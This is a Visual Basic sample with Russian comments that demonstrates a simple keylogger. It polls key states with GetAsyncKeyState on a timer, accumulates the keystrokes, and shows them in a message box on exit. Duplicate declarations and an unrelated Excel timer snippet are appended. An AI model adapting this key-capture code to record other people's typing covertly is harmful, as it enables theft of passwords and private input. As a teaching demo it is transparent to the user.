Declare Function SetTimer Lib "user32" Alias "SetTimer" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" Alias "KillTimer" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
'В коде стандартного модуля
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Получить состояние выбранной клавиши
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'В коде формы
Private Sub Form_Load()
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
Me.Caption = "Клавиатурный шпион"
'Создаем таймер
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Загрузите это приложение, наберите " & _
"что-нибудь на клавиатуре и закройте его. Будет " & _
"показано сообщение с набранными вами символами!"
'Очистка формы
Me.Cls
'Задать масштабирование
Me.ScaleMode = vbPixels
'Задать прямоугольную область
SetRect R, 0, 5, Me.ScaleWidth, Me.ScaleHeight
'Нарисовать текст
DrawTextEx Me.hDC, mStr, Len(mStr), R, _
DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Убить таймер
KillTimer Me.hwnd, 0
'Показать набранный текст
MsgBox sSave
End Sub
Dim Flag As Boolean
Sub StartTimer()
Flag = True
Timer
End Sub
Sub StopTimer()
Flag = False
End Sub
Sub Timer()
If Flag = True Then
'Повторить запуск через 1 секунду
Application.OnTime Now + TimeValue("00:00:01"), "Timer"
End If
End Sub
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